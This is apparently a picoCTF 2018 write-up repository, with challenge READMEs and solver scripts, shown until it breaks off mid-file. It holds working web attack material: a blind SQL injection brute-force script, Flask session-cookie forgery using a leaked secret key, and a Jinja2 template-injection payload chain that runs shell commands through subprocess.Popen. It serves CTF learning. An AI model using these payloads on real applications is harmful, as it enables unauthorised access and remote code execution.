├── LICENSE ├── README.md ├── Solved ├── A_Simple_Question │ ├── README.md │ └── solve.py ├── Aca_Shell_A │ ├── README.md │ └── payload.txt ├── Artisinal_Handcrafted_HTTP_3 │ ├── README.md │ └── log.txt ├── Crypto_Warmup_1 │ ├── README.md │ ├── solve.py │ └── table.txt ├── Desrouleaux │ ├── README.md │ ├── incidents.json │ └── solve.py ├── Flaskcards │ └── README.md ├── Flaskcards_Skeleton_Key │ ├── README.md │ └── cookie_decode.py ├── Flaskcards_and_Freedom │ ├── README.md │ └── cookie_decode.py ├── HEEEEEEERE_S_Johnny │ ├── README.md │ ├── passwd │ ├── result.db │ └── shadow ├── LoadSomeBits │ ├── README.md │ ├── pico2018-special-logo.bmp │ └── search.py ├── Magic_Padding_Oracle │ ├── README.md │ ├── pkcs7.py │ ├── solve_bitflip.py │ └── solve_extract.py ├── Malware_Shops │ ├── README.md │ ├── info.txt │ └── plot.png ├── No_Login │ └── README.md ├── Radix_s_Terminal │ ├── README.md │ └── radix ├── Reading_Between_the_Eyes │ ├── README.md │ ├── husky.png │ └── solve.py ├── Recovering_From_the_Snap │ ├── 00005861.jpg │ ├── README.md │ └── animals.dd ├── Safe_RSA │ ├── README.md │ ├── ciphertext │ └── solve.py ├── Secure_Logon │ ├── README.md │ ├── server_noflag.py │ └── solve.py ├── SpyFi │ ├── README.md │ ├── aes-bruteforce.py │ └── spy_terminal_no_flag.py ├── Super_Safe_RSA │ ├── README.md │ ├── collect-test-failed │ │ ├── collect.py │ │ └── collect_slow.sh │ └── solve.py ├── Super_Safe_RSA_2 │ └── README.md ├── Super_Safe_RSA_3 │ ├── README.md │ └── solve.py ├── The_Vault │ ├── README.md │ └── login.txt ├── are_you_root │ ├── README.md │ ├── auth │ └── auth.c ├── assembly_0 │ ├── README.md │ └── intro_asm_rev.S ├── assembly_1 │ ├── README.md │ └── eq_asm_rev.S ├── assembly_2 │ ├── README.md │ └── loop_asm_rev.S ├── assembly_3 │ ├── README.md │ └── end_asm_rev.S ├── assembly_4 │ ├── README.md │ ├── comp │ └── solve │ │ ├── comp-decompiled.c │ │ ├── comp.nasm │ │ └── comp.o ├── authenticate │ ├── README.md │ ├── auth │ └── auth.c ├── be_quick_or_be_dead_1 │ ├── README.md │ └── be-quick-or-be-dead-1 ├── be_quick_or_be_dead_2 │ ├── README.md │ ├── be-quick-or-be-dead-2 │ └── fib.py ├── be_quick_or_be_dead_3 │ ├── README.md │ ├── be-quick-or-be-dead-3 │ └── memoize.py ├── buffer_overflow_0 │ ├── README.md │ ├── vuln │ └── vuln.c ├── buffer_overflow_1 │ ├── README.md │ ├── vuln │ └── vuln.c ├── buffer_overflow_2 │ ├── README.md │ ├── vuln │ └── vuln.c ├── buffer_overflow_3 │ ├── README.md │ ├── solve.py │ ├── vuln │ └── vuln.c ├── caesar_cipher_2 │ ├── README.md │ └── ciphertext ├── circuit123 │ ├── README.md │ ├── decrypt-debug.py │ ├── decrypt.py │ ├── map1.txt │ ├── map2.txt │ └── solve.py ├── core │ ├── README.md │ ├── core │ ├── print_flag │ └── print_flag-decompiled.c ├── echooo │ ├── README.md │ ├── echo │ ├── echo.c │ └── solve.py ├── eleCTRic │ ├── README.md │ ├── aes-ctr.png │ ├── eleCTRic.py │ └── solve.py ├── environ │ └── README.md ├── fancy_alive_monitoring │ ├── README.md │ └── index.txt ├── got_2_learn_libc │ ├── README.md │ ├── solve.py │ ├── vuln │ └── vuln.c ├── got_shell │ ├── README.md │ ├── auth │ └── auth.c ├── in_out_error │ ├── README.md │ └── in-out-error ├── keygen_me_1 │ ├── README.md │ ├── activate │ ├── activate-decompiled.c │ └── debug.c ├── keygen_me_2 │ ├── README.md │ ├── activate │ ├── activate-decompiled.c │ ├── test1.c │ ├── test2.c │ └── z3-solve.py ├── learn_gdb │ ├── README.md │ └── run ├── quackme │ ├── README.md │ ├── main │ ├── main-decompiled.c │ └── payload.c ├── quackme_up │ ├── README.md │ ├── main │ └── solve.py ├── rop_chain │ ├── README.md │ ├── rop │ └── rop.c ├── roulette │ ├── README.md │ ├── roulette │ ├── roulette.c │ ├── solve-get_spin_value.c │ └── try.py ├── rsa_madlibs │ ├── 6-cuberoot.py │ ├── 7-modinv.py │ ├── 8-getflag.py │ ├── README.md │ └── log.txt ├── script_me │ ├── README.md │ ├── output.txt │ └── solve.py ├── shellcode │ ├── README.md │ ├── vuln │ └── vuln.c ├── store │ ├── README.md │ ├── source.c │ └── store ├── what_base_is_this │ ├── README.md │ └── solve.py └── you_can_t_see_me │ └── README.md ├── TEMPLATE.md ├── new └── server.sh /Solved/A_Simple_Question/README.md: -------------------------------------------------------------------------------- 1 | # A Simple Question 2 | Web Exploitation - 650 points 3 | 4 | ## Challenge 5 | > There is a website running at http://2018shell2.picoctf.com:28120 (link). Try to see if you can answer its question. 6 | 7 | 8 | ## Solution 9 | 10 | Website shows a query box annd upon submission, it will show us the SQL query 11 | 12 | SQL query: SELECT * FROM answers WHERE answer='testing' 13 | Wrong. 14 | 15 | So we can try SQL injection using `' or 1=1;--`: 16 | 17 | SQL query: SELECT * FROM answers WHERE answer='' or 1=1;--' 18 | You are so close. 19 | 20 | Using `' or answer like '%`: 21 | 22 | SQL query: SELECT * FROM answers WHERE answer='' or answer like '%' 23 | You are so close. 24 | 25 | Seems like it will either show `Wrong.` for false and `You are so close.` for true. 26 | 27 | We can try bruteforcing char by char 28 | 29 | 30 | After a while, I got the following but it wasn't the answer 31 | 32 | Progress: 41andsixsixths [14] 33 | 34 | --- 35 | 36 | According to some people on the forums, LIKE could be case-insensitive depending on the database. 37 | 38 | Checking for `' or answer = '41andsixsixths` give me `Wrong.` 39 | 40 | But checking for `' or lower(answer) = '41andsixsixths` gives me `You are so close.` 41 | 42 | --- 43 | 44 | [Looking at the possible functions for SQLite](https://www.sqlite.org/lang_corefunc.html 45 | ), I came up with this to check each index if it is uppercase 46 | 47 | ' or substr(answer, 3, 1) <> lower(substr(answer, 3, 1)) ;-- 48 | 49 | Automate it in our script to get the capitals 50 | 51 | Case insensitive answer: 41andsixsixths 52 | Progress: ['4', '1', 'a', 'n', 'd', 's', 'i', 'x', 's', 'i', 'x', 't', 'h', 's'] [Checking 0] 53 | Progress: ['4', '1', 'a', 'n', 'd', 's', 'i', 'x', 's', 'i', 'x', 't', 'h', 's'] [Checking 1] 54 | Progress: ['4', '1', 'a', 'n', 'd', 's', 'i', 'x', 's', 'i', 'x', 't', 'h', 's'] [Checking 2] 55 | Progress: ['4', '1', 'A', 'n', 'd', 's', 'i', 'x', 's', 'i', 'x', 't', 'h', 's'] [Checking 3] 56 | Progress: ['4', '1', 'A', 'n', 'd', 's', 'i', 'x', 's', 'i', 'x', 't', 'h', 's'] [Checking 4] 57 | Progress: ['4', '1', 'A', 'n', 'd', 's', 'i', 'x', 's', 'i', 'x', 't', 'h', 's'] [Checking 5] 58 | Progress: ['4', '1', 'A', 'n', 'd', 'S', 'i', 'x', 's', 'i', 'x', 't', 'h', 's'] [Checking 6] 59 | Progress: ['4', '1', 'A', 'n', 'd', 'S', 'i', 'x', 's', 'i', 'x', 't', 'h', 's'] [Checking 7] 60 | Progress: ['4', '1', 'A', 'n', 'd', 'S', 'i', 'x', 's', 'i', 'x', 't', 'h', 's'] [Checking 8] 61 | Progress: ['4', '1', 'A', 'n', 'd', 'S', 'i', 'x', 'S', 'i', 'x', 't', 'h', 's'] [Checking 9] 62 | Progress: ['4', '1', 'A', 'n', 'd', 'S', 'i', 'x', 'S', 'i', 'x', 't', 'h', 's'] [Checking 10] 63 | Progress: ['4', '1', 'A', 'n', 'd', 'S', 'i', 'x', 'S', 'i', 'x', 't', 'h', 's'] [Checking 11] 64 | Progress: ['4', '1', 'A', 'n', 'd', 'S', 'i', 'x', 'S', 'i', 'x', 't', 'h', 's'] [Checking 12] 65 | Progress: ['4', '1', 'A', 'n', 'd', 'S', 'i', 'x', 'S', 'i', 'x', 't', 'h', 's'] [Checking 13] 66 | Success: 41AndSixSixths 67 | 68 | ## Flag 69 | 70 | SQL query: SELECT * FROM answers WHERE answer='41AndSixSixths' 71 | Perfect! 72 | Your flag is: picoCTF{qu3stions_ar3_h4rd_73139cd9} 73 | -------------------------------------------------------------------------------- /Solved/A_Simple_Question/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import requests 3 | import string 4 | 5 | CHAR_LIST = (string.printable 6 | .replace(' ', '') 7 | .replace('\'', '') 8 | .replace('"', '')) 9 | 10 | 11 | payload = "' or answer COLLATE Latin1_General_CS_AS LIKE '?%" 12 | 13 | answer = '41andsixsixths' 14 | while len(answer) < 100: 15 | print(f"Progress: {answer} [{len(answer)}]") 16 | 17 | found = False 18 | for ch in CHAR_LIST: 19 | # % and _ are used as wildcards in SQLite. 20 | # escape them 21 | ch = ch.replace('%', '\\%') 22 | ch = ch.replace('_', '\\_') 23 | 24 | guess = answer + ch 25 | 26 | r = requests.post("http://2018shell2.picoctf.com:28120/answer2.php", 27 | data= { 28 | 'answer': payload.replace('?', guess), 29 | 'debug': '0', 30 | } 31 | ) 32 | 33 | # if successful return 34 | if 'You are so close' in r.text: 35 | answer += ch 36 | found = True 37 | print("Success:", ch) 38 | break 39 | 40 | print("Failed:", ch) 41 | 42 | if not found: 43 | print("Case insensitive answer: ", answer) 44 | break 45 | 46 | 47 | # Check capital 48 | answer = list(answer) 49 | check_caps = "' or substr(answer, 3, 1) <> lower(substr(answer, 3, 1)) ;--" 50 | 51 | 52 | for index in range(len(answer)): 53 | print(f"Progress: {answer} [Checking {index}]") 54 | 55 | # sql substr() is 1-indexed 56 | sql_index = str(index + 1) 57 | r = requests.post("http://2018shell2.picoctf.com:28120/answer2.php", 58 | data= { 59 | 'answer': check_caps.replace('3', sql_index), 60 | 'debug': '0', 61 | } 62 | ) 63 | 64 | if 'You are so close' in r.text: 65 | # case is not equal, swap it 66 | answer[index] = answer[index].upper() 67 | 68 | print("Success:", ''.join(answer)) 69 | 70 | -------------------------------------------------------------------------------- /Solved/Aca_Shell_A/README.md: -------------------------------------------------------------------------------- 1 | # Aca-Shell-A 2 | General Skills - 150 points 3 | 4 | ## Challenge 5 | > It's never a bad idea to brush up on those linux skills or even learn some new ones before you set off on this adventure! Connect with `nc 2018shell2.picoctf.com 42334`. 6 | 7 | ## Solution 8 | 9 | [payload.txt](payload.txt) 10 | 11 | 12 | ## Flag 13 | 14 | Major General John M. Schofield's graduation address to the graduating class of 1879 at West Point is as follows: The discipline which makes the soldiers of a free country reliable in battle is not to be gained by harsh or tyrannical treatment.On the contrary, such treatment is far more likely to destroy than to make an army.It is possible to impart instruction and give commands in such a manner and such a tone of voice as to inspire in the soldier no feeling butan intense desire to obey, while the opposite manner and tone of voice cannot fail to excite strong resentment and a desire to disobey.The one mode or other of dealing with subordinates springs from a corresponding spirit in the breast of the commander.He who feels the respect which is due to others, cannot fail to inspire in them respect for himself, while he who feels,and hence manifests disrespect towards others, especially his subordinates, cannot fail to inspire hatred against himself. 15 | picoCTF{CrUsHeD_It_d6f202f1} -------------------------------------------------------------------------------- /Solved/Aca_Shell_A/payload.txt: -------------------------------------------------------------------------------- 1 | cd secret 2 | ls 3 | rm intel_* 4 | echo 'Drop it in!' 5 | cd .. 6 | cd executables 7 | ./dontLookHere 8 | whoami 9 | cp /tmp/TopSecret ../passwords 10 | cd .. 11 | cd passwords 12 | ls 13 | cat TopSecret 14 | -------------------------------------------------------------------------------- /Solved/Artisinal_Handcrafted_HTTP_3/README.md: -------------------------------------------------------------------------------- 1 | # Artisinal Handcrafted HTTP 3 2 | Web Exploitation - 300 points 3 | 4 | ## Challenge 5 | > We found a hidden flag server hiding behind a proxy, but the proxy has some... _interesting_ ideas of what qualifies someone to make HTTP requests. Looks like you'll have to do this one by hand. Try connecting via nc 2018shell2.picoctf.com 2651, and use the proxy to send HTTP requests to `flag.local`. We've also recovered a username and a password for you to use on the login page: `realbusinessuser`/`potoooooooo`. 6 | 7 | 8 | ## Hint 9 | > _Be the browser._ When you navigate to a page, how does your browser send HTTP requests? How does this change when you submit a form? 10 | 11 | ## Solution 12 | 13 | We basically need to manually create HTTP GET and POST requests. 14 | 15 | - http://www.ntu.edu.sg/home/ehchua/programming/webprogramming/http_basics.html 16 | 17 | - https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies 18 | 19 | See [log.txt](log.txt) 20 | 21 | ## Flag 22 | 23 | picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_5f5f} 24 | -------------------------------------------------------------------------------- /Solved/Crypto_Warmup_1/README.md: -------------------------------------------------------------------------------- 1 | # Crypto Warmup 1 2 | Cryptography - 75 points 3 | 4 | ## Challenge 5 | > Crpyto can often be done by hand, here's a message you got from a friend, `llkjmlmpadkkc` with the key of `thisisalilkey`. Can you use this table to solve it?. 6 | 7 | ## Solution 8 | 9 | [solve.py](solve.py) -------------------------------------------------------------------------------- /Solved/Crypto_Warmup_1/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import string 4 | charset = string.ascii_lowercase 5 | 6 | key = 'thisisalilkey' 7 | key = list(map(lambda x: charset.index(x), list(key))) 8 | 9 | enc = 'llkjmlmpadkkc' 10 | enc = list(map(lambda x: charset.index(x), list(enc))) 11 | 12 | flag = '' 13 | for a, b in zip(key, enc): 14 | index = b - a 15 | if (index < 0): 16 | index += 26 17 | flag += charset[index] 18 | 19 | print("picoCTF{" + flag.upper() + "}") 20 | -------------------------------------------------------------------------------- /Solved/Crypto_Warmup_1/table.txt: -------------------------------------------------------------------------------- 1 | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 2 | +---------------------------------------------------- 3 | A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 4 | B | B C D E F G H I J K L M N O P Q R S T U V W X Y Z A 5 | C | C D E F G H I J K L M N O P Q R S T U V W X Y Z A B 6 | D | D E F G H I J K L M N O P Q R S T U V W X Y Z A B C 7 | E | E F G H I J K L M N O P Q R S T U V W X Y Z A B C D 8 | F | F G H I J K L M N O P Q R S T U V W X Y Z A B C D E 9 | G | G H I J K L M N O P Q R S T U V W X Y Z A B C D E F 10 | H | H I J K L M N O P Q R S T U V W X Y Z A B C D E F G 11 | I | I J K L M N O P Q R S T U V W X Y Z A B C D E F G H 12 | J | J K L M N O P Q R S T U V W X Y Z A B C D E F G H I 13 | K | K L M N O P Q R S T U V W X Y Z A B C D E F G H I J 14 | L | L M N O P Q R S T U V W X Y Z A B C D E F G H I J K 15 | M | M N O P Q R S T U V W X Y Z A B C D E F G H I J K L 16 | N | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M 17 | O | O P Q R S T U V W X Y Z A B C D E F G H I J K L M N 18 | P | P Q R S T U V W X Y Z A B C D E F G H I J K L M N O 19 | Q | Q R S T U V W X Y Z A B C D E F G H I J K L M N O P 20 | R | R S T U V W X Y Z A B C D E F G H I J K L M N O P Q 21 | S | S T U V W X Y Z A B C D E F G H I J K L M N O P Q R 22 | T | T U V W X Y Z A B C D E F G H I J K L M N O P Q R S 23 | U | U V W X Y Z A B C D E F G H I J K L M N O P Q R S T 24 | V | V W X Y Z A B C D E F G H I J K L M N O P Q R S T U 25 | W | W X Y Z A B C D E F G H I J K L M N O P Q R S T U V 26 | X | X Y Z A B C D E F G H I J K L M N O P Q R S T U V W 27 | Y | Y Z A B C D E F G H I J K L M N O P Q R S T U V W X 28 | Z | Z A B C D E F G H I J K L M N O P Q R S T U V W X Y 29 | 30 | -------------------------------------------------------------------------------- /Solved/Desrouleaux/README.md: -------------------------------------------------------------------------------- 1 | # Desrouleaux 2 | Forensics - 150 points 3 | 4 | ## Challenge 5 | > Our network administrator is having some trouble handling the tickets for all of of our incidents. Can you help him out by answering all the questions? Connect with `nc 2018shell2.picoctf.com 14079`. [incidents.json](incidents.json) 6 | 7 | ## Hint 8 | > If you need to code, python has some good libraries for it. 9 | 10 | 11 | ## Solution 12 | 13 | solve.py 14 | 15 | ## Flag 16 | 17 | 18 | $ nc 2018shell2.picoctf.com 14079 19 | You'll need to consult the file `incidents.json` to answer the following questions. 20 | 21 | 22 | What is the most common source IP address? If there is more than one IP address that is the most common, you may give any of the most common ones. 23 | 178.209.2.62 24 | Correct! 25 | 26 | 27 | How many unique destination IP addresses were targeted by the source IP address 178.209.2.62? 28 | 4 29 | Correct! 30 | 31 | 32 | What is the average number of unique destination IP addresses that were sent a file with the same hash? Your answer needs to be correct to 2 decimal places. 33 | 1.67 34 | Correct! 35 | 36 | 37 | Great job. You've earned the flag: picoCTF{J4y_s0n_d3rUUUULo_4f3aae0d} 38 | -------------------------------------------------------------------------------- /Solved/Desrouleaux/incidents.json: -------------------------------------------------------------------------------- 1 | { 2 | "tickets": [ 3 | { 4 | "ticket_id": 0, 5 | "timestamp": "2017/02/21 17:57:45", 6 | "file_hash": "37b263cbd24176af", 7 | "src_ip": "77.146.153.19", 8 | "dst_ip": "173.44.89.124" 9 | }, 10 | { 11 | "ticket_id": 1, 12 | "timestamp": "2015/08/18 08:27:54", 13 | "file_hash": "7ec7dcdac0097d61", 14 | "src_ip": "192.44.240.139", 15 | "dst_ip": "130.122.5.57" 16 | }, 17 | { 18 | "ticket_id": 2, 19 | "timestamp": "2015/06/12 09:21:26", 20 | "file_hash": "19a06f037a3df2d5", 21 | "src_ip": "178.209.2.62", 22 | "dst_ip": "173.44.89.124" 23 | }, 24 | { 25 | "ticket_id": 3, 26 | "timestamp": "2015/09/24 21:55:48", 27 | "file_hash": "7ec7dcdac0097d61", 28 | "src_ip": "178.209.2.62", 29 | "dst_ip": "38.241.110.84" 30 | }, 31 | { 32 | "ticket_id": 4, 33 | "timestamp": "2017/04/21 00:28:19", 34 | "file_hash": "37b263cbd24176af", 35 | "src_ip": "178.209.2.62", 36 | "dst_ip": "12.62.243.115" 37 | }, 38 | { 39 | "ticket_id": 5, 40 | "timestamp": "2017/07/31 07:07:43", 41 | "file_hash": "78a0e7bcf0bd477d", 42 | "src_ip": "82.150.27.27", 43 | "dst_ip": "114.168.57.187" 44 | }, 45 | { 46 | "ticket_id": 6, 47 | "timestamp": "2015/05/13 11:25:19", 48 | "file_hash": "4f7ba617ee57fe46", 49 | "src_ip": "98.64.54.49", 50 | "dst_ip": "117.106.208.202" 51 | }, 52 | { 53 | "ticket_id": 7, 54 | "timestamp": "2016/06/14 22:49:13", 55 | "file_hash": "3778267479f7d9e9", 56 | "src_ip": "178.209.2.62", 57 | "dst_ip": "173.44.89.124" 58 | }, 59 | { 60 | "ticket_id": 8, 61 | "timestamp": "2016/04/18 23:27:16", 62 | "file_hash": "7ec7dcdac0097d61", 63 | "src_ip": "98.64.54.49", 64 | "dst_ip": "173.44.89.124" 65 | }, 66 | { 67 | "ticket_id": 9, 68 | "timestamp": "2016/10/13 02:49:18", 69 | "file_hash": "19a06f037a3df2d5", 70 | "src_ip": "178.209.2.62", 71 | "dst_ip": "188.139.210.204" 72 | } 73 | ] 74 | } -------------------------------------------------------------------------------- /Solved/Desrouleaux/solve.py: -------------------------------------------------------------------------------- 1 | from collections import Counter 2 | import json 3 | import statistics 4 | 5 | with open("./incidents.json") as f: 6 | json_data = f.read() 7 | data = json.loads(json_data) 8 | 9 | # What is the most common source IP address? If there is more than one IP address that is the most common, you may give any of the most common ones. 10 | src_ip = list(map(lambda x: x['src_ip'], data['tickets'])) 11 | print("Most common", Counter(src_ip).most_common(1)[0][0]) 12 | print() 13 | 14 | # How many unique destination IP addresses were targeted by the source IP address xxx? 15 | src_ip = input('Input source IP: ').strip() 16 | uniq_ip = list(filter(lambda x: x['src_ip'] == src_ip, data['tickets'])) 17 | uniq_ip_2 = set(map(lambda x: x['dst_ip'], uniq_ip)) 18 | print('Unique dest', len(uniq_ip_2)) 19 | print() 20 | 21 | # What is the average number of unique destination IP addresses that were sent a file with the same hash? 22 | # Your answer needs to be correct to 2 decimal places. 23 | hashes = set(map(lambda x: x['file_hash'], data['tickets'])) 24 | to_average = [] 25 | for hash in hashes: 26 | uniq_ip = list(filter(lambda x: x['file_hash'] == hash, data['tickets'])) 27 | uniq_ip_2 = set(map(lambda x: x['dst_ip'], uniq_ip)) 28 | to_average.append(len(uniq_ip_2)) 29 | print("Average unique dest:", statistics.mean(to_average)) 30 | print() 31 | 32 | 33 | -------------------------------------------------------------------------------- /Solved/Flaskcards/README.md: -------------------------------------------------------------------------------- 1 | # Flaskcards 2 | Web Exploitation - 350 points 3 | 4 | ## Challenge 5 | > We found this fishy website for flashcards that we think may be sending secrets. Could you take a look? 6 | 7 | http://2018shell2.picoctf.com:17012/ 8 | 9 | ## Hint 10 | > Are there any common vulnerabilities with the backend of the website? 11 | 12 | >Is there anywhere that filtering doesn't get applied? 13 | 14 | >The database gets reverted every 2 hours so your session might end unexpectedly. Just make another user 15 | 16 | 17 | ## Solution 18 | 19 | Similar to [AngstromCTF 2018 - MadLibs](https://github.com/zst123/angstromctf-2018-writeups/tree/master/Solved/MadLibs). 20 | 21 | A vulnerability with unfiltered input. 22 | 23 | Create a card with `{{config}}` as the title. 24 | 25 | 26 | Question: 27 | 28 | 29 | ## Flag 30 | 31 | picoCTF{secret_keys_to_the_kingdom_2a7bf92c} 32 | -------------------------------------------------------------------------------- /Solved/Flaskcards_Skeleton_Key/README.md: -------------------------------------------------------------------------------- 1 | # Flaskcards Skeleton Key 2 | Web Exploitation - 600 points 3 | 4 | ## Challenge 5 | > Nice! You found out they were sending the Secret_key: 06f4eefabf03b8f4e521fbdada13f65c. Now, can you find a way to log in as admin? http://2018shell2.picoctf.com:5953 (link). 6 | 7 | ## Hint 8 | > What can you do with a flask Secret_Key? 9 | 10 | > The database still reverts every 2 hours 11 | 12 | ## Solution 13 | 14 | With the Flask secret_key, we are able to decode and re-encode the session cookie: 15 | 16 | - https://stackoverflow.com/a/27287455 17 | - https://stackoverflow.com/questions/22463939/demystify-flask-app-secret-key?lq=1 18 | - https://terryvogelsang.tech/MITRECTF2018-my-flask-app/ 19 | 20 | 21 | --- 22 | 23 | Using this [Github Gist by @aescalana](https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe), I could *decode and modify the session cookie* 24 | 25 | secret = "06f4eefabf03b8f4e521fbdada13f65c" 26 | cookie = "xxx" 27 | session = decodeFlaskCookie(secret, cookie) 28 | 29 | ////// 30 | 31 | Decoded cookie: {u'csrf_token': u'10d3d30c07d13b0af26f8b4631f384ceb385bd65', u'_fresh': True, u'user_id': u'18', u'_id': u'e01741f0b1c3c9f8a0ec50f16c6da2ca1c1fd464824b3ac67ce0c3984591af3e5b7fd2a843c16a7299755c34e3b582429336fb0ebf292250ec1dfc74800112bc'} 32 | 33 | And then I assumed that the user_id of 1 will mean the admin, so I changed it accordingly and created a new cookie 34 | 35 | session['user_id'] = u'1' 36 | cookie = encodeFlaskCookie(secret, session) 37 | print 'New cookie', cookie 38 | 39 | ////// 40 | 41 | New cookie: .eJwlj0uqAkEMAO_Saxf59sfLDJ10giIozOjq8e7ugAeoouqvbLnHcSvX9_6JS9nuq1xLADbBBENnH9knhCskVq9rkk90zCVVOonx9No8wHl00YEzOdRaLppd2LHORmM0VWcJNj0ZGsw1DcKSBpGedlzpTToAIpmXS_Fjz-39esTz7EFYvBgc2kI2mEk1u0llTO7iYdzVVtWT-xyx_yaw_H8Bqvo-tA.Dps_AQ.AswNhwnYrLZMPD3HNeWFF5POoK4 42 | 43 | Use Chrome EditThisCookie extension to modify the session cookie. Reload the page and we are now Admin! 44 | 45 | ## Flag 46 | 47 | Welcome Admin 48 | Your flag is: picoCTF{1_id_to_rule_them_all_1879a381} 49 | -------------------------------------------------------------------------------- /Solved/Flaskcards_Skeleton_Key/cookie_decode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # pip install -t .pip itsdangerous 4 | # pip install -t .pip flask 5 | # python cookie_decode.py 6 | 7 | from flask.sessions import SecureCookieSessionInterface 8 | from itsdangerous import URLSafeTimedSerializer 9 | 10 | class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): 11 | # Override method 12 | # Take secret_key instead of an instance of a Flask app 13 | def get_signing_serializer(self, secret_key): 14 | if not secret_key: 15 | return None 16 | signer_kwargs = dict( 17 | key_derivation=self.key_derivation, 18 | digest_method=self.digest_method 19 | ) 20 | return URLSafeTimedSerializer(secret_key, salt=self.salt, 21 | serializer=self.serializer, 22 | signer_kwargs=signer_kwargs) 23 | 24 | def decodeFlaskCookie(secret_key, cookieValue): 25 | sscsi = SimpleSecureCookieSessionInterface() 26 | signingSerializer = sscsi.get_signing_serializer(secret_key) 27 | return signingSerializer.loads(cookieValue) 28 | 29 | # Keep in mind that flask uses unicode strings for the 30 | # dictionary keys 31 | def encodeFlaskCookie(secret_key, cookieDict): 32 | sscsi = SimpleSecureCookieSessionInterface() 33 | signingSerializer = sscsi.get_signing_serializer(secret_key) 34 | return signingSerializer.dumps(cookieDict) 35 | 36 | if __name__=='__main__': 37 | ''' 38 | sk = 'youWillNeverGuess' 39 | sessionDict = {u'Hello':'World'} 40 | cookie = encodeFlaskCookie(sk, sessionDict) 41 | decodedDict = decodeFlaskCookie(sk, cookie) 42 | assert sessionDict==decodedDict 43 | ''' 44 | 45 | secret = "06f4eefabf03b8f4e521fbdada13f65c" 46 | cookie = ".eJwlj0uqAkEMAO_Saxf59sfLDJ10giIozOjq8e7ugAeoouqvbLnHcSvX9_6JS9nuq1xLADbBBENnH9knhCskVq9rkk90zCVVOonx9No8wHl00YEzOdRaLppd2LHORmM0VWcJNj0ZGsw1DcKSBpGedlzpTToAIpmXS_Fjz-39esTz7EFYvBgc2kI2mEk1u0llTO7iYdzVVtWT-xyx_yawl_8v6bc-7A.Dps6-Q.oEghMMu58NmwM1jJjHiEvQgH4UA" 47 | session = decodeFlaskCookie(secret, cookie) 48 | print 'Decoded cookie:', session 49 | 50 | session['user_id'] = u'1' 51 | cookie = encodeFlaskCookie(secret, session) 52 | print 'New cookie:', cookie 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /Solved/Flaskcards_and_Freedom/README.md: -------------------------------------------------------------------------------- 1 | # Flaskcards and Freedom 2 | Web Exploitation - 900 points 3 | 4 | ## Challenge 5 | > There seem to be a few more files stored on the flash card server but we can't login. Can you? http://2018shell2.picoctf.com:58184 (link) 6 | 7 | ## Hint 8 | > There's more to the original vulnerability than meets the eye. 9 | 10 | > Can you leverage the injection technique to get remote code execution? 11 | 12 | > Sorry, but the database still reverts every 2 hours. 13 | 14 | 15 | ## Solution 16 | 17 | Similar to [Flaskcards](../../Solved/Flaskcards), this is vulnerable to code injection from the "Create Card" page and viewing it in "List Cards". 18 | 19 | Now looking at these rather interesting website, it is possible to start reading any file in the directory. 20 | 21 | - https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii.html 22 | - https://twitter.com/_qll_/status/707714873774448640 23 | - https://nvisium.com/blog/2015/12/07/injecting-flask.html 24 | 25 | --- 26 | 27 | First, load all the accessible classes using this payload 28 | 29 | {{''.__class__.mro()[1].__subclasses__()}} 30 | 31 | We notice that the class subprocess.Popen() is in the list. Hence, we can use it to execute some shell commands! 32 | 33 | Next, search through the array for the index of ``. In my case, it is index 471 and I verified it with this payload. 34 | 35 | {{''.__class__.mro()[1].__subclasses__()[471]}} 36 | 37 | Now we can execute some commands with this payload such as `ls` 38 | 39 | {{''.__class__.mro()[1].__subclasses__()[471]('ls',shell=True).communicate()}} 40 | 41 | However, it returns `None`, so we need to pipe the results back to python using `stdout=subprocess.PIPE`. 42 | 43 | --- 44 | 45 | Also note that we don't have access to subprocess module. I had to use integer value of `subprocess.PIPE` which is `-1` to get it working. 46 | 47 | {{''.__class__.mro()[1].__subclasses__()[471]('ls',shell=True, stdout=-1).communicate()}} 48 | 49 | And behold, we see the contents 50 | 51 | Question:(b'app\nflag\nserver.py\nxinet_startup.sh\n', None) 52 | 53 | --- 54 | 55 | Now, let's cat the flag 56 | 57 | {{''.__class__.mro()[1].__subclasses__()[471]('cat flag',shell=True, stdout=-1).communicate()}} 58 | 59 | And we are done 60 | 61 | Question:(b'picoCTF{R_C_E_wont_let_me_be_04eedee8}', None) 62 | 63 | ## Flag 64 | 65 | picoCTF{R_C_E_wont_let_me_be_04eedee8} 66 | -------------------------------------------------------------------------------- /Solved/Flaskcards_and_Freedom/cookie_decode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # pip install -t .pip itsdangerous 4 | # pip install -t .pip flask 5 | # python cookie_decode.py 6 | 7 | from flask.sessions import SecureCookieSessionInterface 8 | from itsdangerous import URLSafeTimedSerializer 9 | 10 | class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): 11 | # Override method 12 | # Take secret_key instead of an instance of a Flask app 13 | def get_signing_serializer(self, secret_key): 14 | if not secret_key: 15 | return None 16 | signer_kwargs = dict( 17 | key_derivation=self.key_derivation, 18 | digest_method=self.digest_method 19 | ) 20 | return URLSafeTimedSerializer(secret_key, salt=self.salt, 21 | serializer=self.serializer, 22 | signer_kwargs=signer_kwargs) 23 | 24 | def decodeFlaskCookie(secret_key, cookieValue): 25 | sscsi = SimpleSecureCookieSessionInterface() 26 | signingSerializer = sscsi.get_signing_serializer(secret_key) 27 | return signingSerializer.loads(cookieValue) 28 | 29 | # Keep in mind that flask uses unicode strings for the 30 | # dictionary keys 31 | def encodeFlaskCookie(secret_key, cookieDict): 32 | sscsi = SimpleSecureCookieSessionInterface() 33 | signingSerializer = sscsi.get_signing_serializer(secret_key) 34 | return signingSerializer.dumps(cookieDict) 35 | 36 | if __name__=='__main__': 37 | ''' 38 | sk = 'youWillNeverGuess' 39 | sessionDict = {u'Hello':'World'} 40 | cookie = encodeFlaskCookie(sk, 